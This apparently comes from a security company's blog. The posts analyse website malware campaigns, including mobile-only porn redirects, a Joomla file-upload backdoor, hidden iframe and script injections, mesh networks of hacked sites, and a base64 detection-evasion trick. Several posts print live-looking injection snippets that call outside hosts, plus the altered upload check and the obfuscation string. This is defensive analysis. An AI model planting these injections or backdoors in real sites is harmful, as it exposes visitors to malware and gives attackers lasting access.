BaDoink Website Redirect – Malicious Redirections to Porn Websites on Mobile Devices

The past week has brought about a large number of cases where compromised websites had hidden redirections to porn injected into their code. All the infections had a similar pattern where they only targeted mobile devices. They are highly conditional as well making it challenging for webmasters to detect.

Lets take a minute to explain what is going on.

Conditional Redirects to Porn Websites Targeting Mobile Devices

Sounds complicated, but it isn’t. If the visitor is coming from an Ipad, Iphone, Android or other similar mobile device, the page is redirected to a random pornographic page. If the same person tries to visit the site again, nothing happens and the site loads properly. What gives?

1. The Word is “Conditional”

The malware injected on the website is intelligent. It stores the IP address for all the visitors that it redirects to the porn website. If you see the redirect once, it is likely that you won’t see it again for many hours. This makes the malware very difficult to detect and leads people to think it was a random error or that maybe they mistyped the URL.

2. Mobile-Only

This injection is only redirecting Mobile browsers. It’s targets seems to be iPhone, iPad, Android and a few other mobile OS browsers. For everyone else, the site looks clean and safe.

3. Mobile-only + Conditional = Very hard to detect

When you mix conditional with mobile-specific infections, you know it will be very difficult to detect. Yes, even SiteCheck has a hard time flagging it. It will flag the site once, but if the user forces a re-scan it will show the website as clean.

As you can imagine, it can be very confusing for the end user.

Browser-site injection

Rafael Capovilla, one of our Sr. Analysts, was the first to find and decipher how the injection is displayed on the browser. It is very sneaky, accomplishing it’s goal by utilizing a form like this one:

<form method=POST action="http://gridironservices.com/579205f64a3c6…php?q=b9f6606dcd0186725..” id=”refoto_form” target=”_top”>

With random domains (intelligenthometheater.com, gridironservices.com, etc). That by itself it looks ok, but embedded you’ll find this javascript code:

document.getElementById("refoto_form"). submit( );

This forces the POST to be submitted and the visitor redirected. At first glance they both look legitimate and will likely pass as clean for most (if not all) Anti-Virus and security tools.

As mentioned before, this only appears on Mobile devices and conditionally. You might be wondering why they would redirect to porn. As is often the case, it’s all about the money.

These pages are the first level in the redirection funnel. They proceed to push the user to affiliate/ads links, similar to these: httx://ads. mobiteasy.com/ or httx://www. instabang.com/tour/zinstabang.

Where they pay the malware authors good money for every click.

Removing the Porn Redirection

Shameless Plug: If you have used SiteCheck and notice the issue I mentioned above – showing dirty then clean or not showing at all – have no fear, this does happen from time to time it’s how the scanner works. Rest assured though that our team is able to address the issue and our internal scanners will catch the issue outright once configured.

To address the issue yourself investigate these locations:

  • /index.php
  • /wp-config.php (if using WordPRess)
  • /configuration.php (if using Joomla)
  • /wp-content/themes/yourtheme/functions.php (if using WordPress)

These are the 4 places we see this injection being added. Note that it is highly encoded, you will have to look for any line that looks out of place and it’s best to engage your developer for help.

Remember, the issue at the surface – the infection – is only the tip of the iceberg. If your website is infected you have to assume that the attackers have penetrated your defenses and have added controls that will allow them to continue to penetrate your environment. Be sure to look for backdoors.

If you have any question, let us know. You can also engage us on Twitter at Sucuri Support or Sucuri Labs.

Ad Violations: Why Search Engines Won’t Display Your Site If it’s Infected With Malware

As your site’s webmaster, have you ever seen an e-mail from Google like this:

Hello,

We wanted to alert you that one of your sites violates our advertising policies. Therefore, we won’t be able to run any of your ads that link to that site, and any new ads pointing to that site will also be disapproved.

Here’s what you can do to fix your site and hopefully get your ad running again:

1. Make the necessary changes to your site that currently violates our policies:
Display URL: site.com
Policy issue: Malware
Details & instructions:

2. Resubmit your site to us, following the instructions in the link above….

If so, you know the potential downside risk this poses for your website. In their own words, Google says,

In some cases, you may be unaware that you have malware on your site. But to protect the safety and security of our users, we stop all ads pointing to sites where we find malware.

In essence, Google and Bing care about their searchers more than your business so, to protect their customers, they’ll shut your website out of Adwords and Bing Ads and will return your site less in organic searches.

Often overlooked in the search business is the role of the actual search engine in the ad placement process. These are businesses that specialize in creating algorithms to show relevant search results, assigning quality scores to your landing pages and placing your actual ads. A lot goes into the process, but in all cases, the key for the search engine is to show relevant search results (including ads) that keep people using their search engine. It is in this spirit that search engines like Google and Bing reserve the right to refuse your ads. This is especially true if they have any reason to believe that your site may be infected with malware–including viruses, worms, spyware, and Trojan Horses–or is being used in phishing schemes.

From the search engine’s perspective, this makes perfect sense. Searches are their lifeblood and there are other search engines a person could use to find websites. By showing your ads or returning your site organically in a search, they are tacitly telling the searcher, “We found these sites to be relevant to you.” If they start sending you to sites that are potentially harmful, then a searcher could, potentially, switch search engines.

However, knowing why search engines work as they do doesn’t make it easier to be a webmaster when a site is hacked. Luckily, our clean up and malware removal tools as well as our de-blacklisting service are just a click away.

Or, better yet, keep yourself from ever getting an email like the one above from Bing or Google. Instead, protect your site, and business, from potential problems stemming from malware, blacklisting or phishing and look into protecting your site with a website application firewall like our CloudProxy WAF .

Highly Effective Joomla Backdoor with Small Profile

It feels like every day we’re finding gems, or what appear to be gems to us. We try to balance the use of the term, but I can’t lie, these are truly gems. The things they are doing, and by they I mean the attackers, are in some instance ingenious. I think you’ll agree that this case falls into that category.

In short, this is a highly effective backdoor that carries little profile, making it Hight Speed Low Drag.

Understanding Attackers

As we’ve discussed in the past, most attackers have a pretty standard workflow when compromising websites. Here’s that process in it’s simplest form:

  1. Identify point of entry / weakness
  2. Exploit the entry / weakness
  3. Ensure that they can retain access
  4. Cover your tracks

I agree, nothing earth shattering, but it does help us understand what it is we need to be looking for.

Many will make the argument that a site is not clear if you haven’t performed some level of forensics to understand what happened. Often this same analysis will lend itself to items 3 and 4 in the list. Reverse engineering their attempts to clean up their traces and finding those backdoors, diamonds in the ruff.

Unfortunately, this level of forensics is not for everyone and contrary to popular belief it’s not as simple as looking for simple obfuscation. No, these days the backdoors are becoming highly sophisticated, making use of built-in functions and carry little trace of what you might consider to be traditional backdoors.

What many also don’t realize is how important the third step is. If done correctly, the attacker is able to bypass all your access control mechanisms, i.e., logins like administrator and FTP, and work right off your server with little hesitation.

This post is an example of that, for instance take into consideration these two images:

Image #1

Sucuri-Joomla-Backdoor-I

Image #2

Sucuri-Joomla-Backdoor-II

Can you pinpoint the difference or the backdoor? Is there a backdoor?

Joomla Specific Backdoor

The images above are an example of what we recently found and the purpose of this post.

Yes, I agree, it’s unfair for us to ask you to pinpoint the difference in the images; besides, the total change is no greater than 304 bytes.

But for those keen eyes, you probably noticed the difference in the if-clause, here specifically:

if (!in_array($format, $allowable) && !in_array($format,$ignored))

Versus this:

if ($format == '' || $format == false || (!in_array($format, $allowable) && !in_array($format,$ignored)))

For those that are completely lost, it all comes down to how the $format variable is created. For that we have to look here:

$format = strtolower(JFile::getExt($file['name']));

This tell us that the variable is getting the file’s extension using a Joomla native function called getExt. This function does this:

function getExt($file) {
$chunks = explode('.', $file);
$chunksCount = count($chunks) - 1;

if($chunksCount > 0) {
return $chunks[$chunksCount];
}

return false;
}

This in turn breaks the file name into pieces based on the positions of the dot, returning false if there are not dots. If everything is ok it returns the latest group after the last dot, i.e., the extension.

This is where the canUpload function will check if the extension is part of the allowed ones or not. This goes back to the very first if clause shared above.

In the second set, you see two additional conditions, if $format is false or if it’s empty. That’s then followed by another .OR. operator just before checking if the extension is allowed.

In these cases, if the extension is empty or if it’s false or allowed, the file can be uploaded. This and nothing is the same thing, right?

Wow, that one hurt my head too, sorry.. but hang in there.

In order to make the $format false, or empty, the attacker would need to add a trailing dot to the end of the file, like backdoor.php.. But it’s not that simple, the upload alone won’t make it useable.

That brings you to the next obvious question, “Fio, if it’s not usable why the heck did you take us down riddle man?” Glad you asked…

First, because I probably had one too many beers while writing this.

Second, it comes down to this code:

function makeSafe($file) {
// Remove any trailing dots, as those aren't ever valid file names.
$file = rtrim($file, '.');
$regex = array('#(\.){2,}#', '#[^A-Za-z0-9\.\_\- ]#', '#^\.#');
return preg_replace($regex, '', $file);
}

I mean seriously, have you ever seen code in better shape than this? The lines, the logic, even the commenting..

// Remove any trailing dots, as those aren’t ever valid file names.

And you have to appreciate the irony in the function name, makeSafe. Make safe a backdoor that is going to do anything but make your website safe.

Here is the kicker, for those that didn’t catch it, this is a valid function inside ./libraries/joomla/filesystem/file.php, a core file of Joomla. This function, by design, cleans out all odd characters from a filename and returns a safe filename. Sound familiar? Remember that trailing dot? Pretty sure that’s unsafe, Joomla core agrees with us, as such it does what it’s supposed to do, makes a previously unsafe file, safe. Ain’t that something?

Perfect example of a feature that gets abused for bad when it was designed for good.

The Ever Evolving Landscape

I chose to share this little gem with the world because it talks volumes to the evolution in the attacks that we’re seeing. The website security market has turned into a gold rush as of late, but with that growth we have seen new innovation in the way attackers are 1) attacking websites and 2) how they’re retaining control of those same websites.

This is forcing us to really look deep into the various detection and remediation technologies to better understand how to prevent scenarios like the one described in this post.

This attack specifically is not something a signature would have ever picked up, it’s tightly integrated and dependent on what most would categorize as “good” code, and by good I mean it’s part of core and designed to do a good thing. Now extend this line of thinking, think beyond core.

If attackers are starting to look at how “good” code functions and finding ways to manipulate its use, what is to stop them from extending that thought process to code found in your templates, themes, extensions, plugins? This is a real problem that extends far beyond Joomla and will soon plague other CMS applications, if they are not already.

If you have something to add or share on the post, use the comments we’d love to get your hear from you.

If you find yourself in a similar situation, suffering repeated attacks or infections be sure to contact us. Whether you’re infected and need to be cleared, or prefer not to have to deal with this at all, we have a complete security solution to keep your website clean and safe.

Malicious iFrame Injections Host Payload on Tumblr

It’s always fun to watch malware developers using different techniques to code their creations. Sometimes it’s a matter of obfuscation, placement, injection, but this time it’s how they code it to be dynamic.

I believe this is not the first one that uses this service, but it’s the first time I’m seeing it. The concept is not new, we have often seen Twitter and Ask.fm accounts being used as malware Command & Control (C&C) servers, but now we can add Tumblr to the list.

A few weeks ago we found an iFrame injection that was relying on Tumblr to trigger the payload.

Tumblr lets you effortlessly share anything. – Tumblr

It appears they take this motto to heart!

How Does It Work?

The anatomy of this attack is very interesting.

Read More

Mysterious Zencart Redirects Leverage HTTP Headers

About a week ago we got an interesting Zencart case. Being that we don’t often write about Zencart we figured it’d be good time to share the case and details on what we found.

The Scenario

The site was redirecting to “www .promgirl .de”. I know, not very unique.

Additionally, it was only affecting “www” instances, all “non-www” instances were working correctly with no redirects. We also noticed that it would only trigger with specific User Agents and Referrers. This shouldn’t be new as we’ve talked at length about conditional malware.

Sucuri-Zencart-Analysis

Read More

New iFrame Injections Leverage PNG Image Metadata

We’re always trying to stay ahead of the latest trends, and today we caught a very interesting one that we have either been missing, or it’s new. We’ll just say it’s new.. ;)

We’re all familiar with the idea of iFrame Injections, right?

Understanding an iFrame Injection

The iFrame HTML tag is very standard today, it’s an easy way to embed content from another site into your own. It’s supported by almost all browsers and employed by millions of websites today, use Adsense? Then you have an iFrame embedded within your site too.

Pretty nifty, I know. Like with most things though, the good is always accompanied with the bad.

Read More

Website Mesh Networks Distributing Malware

Can you imagine having the keys to a kingdom? How awesome would that be!! This is true in all domains, especialy when it comes to your website. This is almost like the holy grail of website attacks, gain access and do what you want with someone else’s pride and joy.

We all know that once a website is compromised it can be used by attackers in various ways. The most common attack we see leverages the hacked site as part of a malicious SEO Spam campaign (most profitable), followed by malware distribution (think drive by downloads) and ofcourse the integration into botnets, to perform things like DDOS / brute force attacks on other sites.

In any of these scenarios the attacker is able to, more often than not, monetize “their” new website. Yes, the fact that they have gained access to your website makes it theirs now. On a side note, we are seeing a tremendous number of websites being used to mine bitcoins specifically, but being it’s the new Billion dollar currency it only makes sense, but I digress.

Back to the point…

None of this, ofcourse, is new to our industry. Just crawl through the archives of this blog and you’ll find scores of data points that talk to the various scenarios addressed above. What you won’t find though is this new trend that we’re seeing.

Since the shutdown of the Blackhole Exploit kit we’ve been sitting back idly waiting for the next big thing, and perhaps this is it, but then again, perhaps it’s nothing more something that hid in the shadow and is only now finally out in plain sight.

Let’s talk a little about website mesh networks and how they are being used to distribute malware.

What is a Mesh Network?

We won’t get into the details of what a Mesh Network is but we’ll provide you a little context so that you can better understand it as you read through this post:

A mesh network is a network topology in which each node (called a mesh node) relays data for the network. All nodes cooperate in the distribution of data in the network. – Wikipedia

Yes, I know, not the fanciest of descriptions but for our purpose it works. When reading through this, I want you think of each website as a node in the mesh.

Sucuri Mesh Network Illustration

In essence, each of the websites, although hosted separately, owned by people that don’t know each other, are all, inevitably interconnected to one another. Again, nothing new in the concept, we see it everyday in various botnets, right?

Mesh Network of Compromised Webites

The latest exploit kit payloads we are tracking on compromised websites seem to have a very similar characteristic, they are part of a bigger network of compromised website, or what we’re classifying as a compromised Website Mesh Network. As websites get infected, the attackers are continuously adding them to their larger network of malware intermediaries. This means it is not only being used against people visiting the website, but also against users of other compromised sites.

Think of a mesh network of script injections…

How a Mesh Network of JavaScript Injections Works

Let’s say the bad guy, Home Simpson managed to hack into 3 web sites: X.com, Y.com and Z.com. Homer injects malware into X.com that then loads from Y.com. The malware from Y.com is loaded from Z.com and the one from Z.com is loaded from X.com.

That’s right folks, you guessed it, it’s one Giant Self-Licking Ice Cream Cone!!!

Here is a better illustration of the flow:

x.com -> injected with code loading from y.com/hNtpSAXt.php?id=56162149
y.com -> injected with code loading from z.com/8zCUWiW7.php?id=55158211
z.com -> injected with code loading from x.com/zsaok9XZ.php?id=45566441

The Benefit of such a Network

The attacker no longer needs to register domains to hide malicious content and it is very hard to take down. The more sites he manages to compromise, the more powerful their mesh network of compromised websites becomes.

Mesh Network of the Javascript Injection RANDOM.php?id=RANDOM

To put this into perspective, just on the JavaScript injection they can look something like this:

<script src="httx://tiande-rivne-com-ua.1gb. ua/hNtpSAXt.php ?id=56162149&quit;
type="text/javascript"></script>

With this simple payload we were able to identify some 800 websites and more than 19,000 pages compromised. And the injection always happen with the same format, a script src loading from a random PHP file and a random ID code. Every compromised site gets this PHP code injected in it.

These are just some of the injections we were able to capture:

What is the Scale of these Website Mesh Networks?

While it is really hard to provide definitives around how many websites are really compromised and injected with this type of infection we are able to provide some good educated guesses.

Using our very limited view, we identified 800+ domains within our own network of clients. Google agrees with us and it seems they identified a lot more sites, who would have thought, based on the safe browsing data.

If you look at http://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=fixreputation.net, they say:

Has this site hosted malware?
Yes, this site has hosted malicious software over the past 90 days. It infected 101 domain(s), including dimensiones.org/, rometransfer.com/, hout-atelier.nl/.

If you check http://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=magazyntuiteraz.pl, you will see:

Has this site hosted malware?
Yes, this site has hosted malicious software over the past 90 days. It infected 60 domain(s), including moyer-consulting.com/, rote-liebe96.de/, izorynek.pl/.

So it seems that each site compromised is also used to infected 50+ different domains. And the more you dive into the data, the more sites you find.

For instance, look at this one http://www.google.com/safebrowsing/diagnostic?site=tiande-rivne-com-ua.1gb.ua you will see:

Has this site hosted malware?
Yes, this site has hosted malicious software over the past 90 days. It infected 662 domain(s), including ovptrade.com/, stalkerzoneworld.ru/, fondazionegiannipellicani.it/

You can see that with a little sleuthing the order of magnitude begins to quickly multiply.

How are the sites being compromised

Ah yes, the age old question of how!!!

It’s not any easier to answer here as it’s ever been in any other post we share. As is often the case we see ascertain our data remotely and as such we are limited in a number ways, this case was no exception. We will however provide a post later better dissecting the payload, or at least we hope we will.

As for the how, we did try to scan several of the compromised website in attempt to identify the vector, but we had little luck. While we were unable to find a much coveted silver bullet that tied them together, there was more in what we didn’t find than one might think.

For instance, a few of them were using Drupal, others were using WordPress and ofcourse our Joomla friends were in on the action too. While this does not tell us the access vector, it does tell us it’s platform agnostic.

From this we can make a very educated assumption that the attackers are more than likely using a suite of tools to exploit these websites. From Brute Force attacks against the various platform admin panels to gain access control, to exploiting known or new vulnerabilities in any of the various applications. What is curious though is whether it’s all in one tool or kit and whether the payloads are being created independent of the platforms. Often, what we see is a payload specific to a platform which is later adapted or enhanced for other platforms. To find something like these attacks so tightly integrated and intertwined talks to an interesting trend.

Are you a webmaster? Do you own a web site? Please do your part securing your site so it is not added to these compromised Website Mesh Networks. There are various tools you can use to scan your websites and clean them up if they are infected, leverage them. Don’t get caught with your pants down!

Joomla – Fancy SPAM Injections

Malware writers can be really ingenious when it comes to obfuscating their code. And let’s face it, in today’s anti-malware push, they have to; the slightest variation will often trigger warnings that will make it look suspicious in turn shortening its life-span.

When we talk about obfuscation the first thing we think is base64 encoding, gzinflate or any other built-in function that will help making the code illegible for the average user, but they’ll often stick out to the trained eye.

With that in mind, obfuscating the malware code to look like good code is the best approach to make it last longer.

Take this code, for example:

Read More

Backdoor Evasion Using Encrypted Content

A few weeks ago on the Sucuri Research Labs we mentioned a new type of malware injection that does not use base64_decode, and instead conceals itself as a variable and is built with a combination of “base_” + (32*2) + “_decode”. This is the part of the code where it is hidden:

$g___g_='base'.(32*2).'_de'.'code';

Any tool that looks for eval, followed by base64_decode, or just flags on any base64_decode usage, will not find it.

Read More

Malware iFrame Campaign from Sytes(.)net

For the last few weeks we have been tracking a large malframe (malicious iframe) campaign that has been injecting iframes from random domains from sytes(.)net into compromised sites.

Malicious iframe injection is nothing new, the bad guys have been using no-ip.org domains for a long time. But what is catching our attention is how often these domains are changing and how short a life-span they have.

This is the payload being added to the compromised sites:

<iframe src="httX:// krbnomrhp.sytes.net:12601 /cart/manuallogin/linktous.php?guardian=82" 
    width=1 height=1 style="visibility: hidden"></iframe>

As you can see, it is a normal iframe injection. But that domain will go offline in approximately 30 minutes and get replaced by a new one. Here is a list we compiled over the past 24 hours:

Read More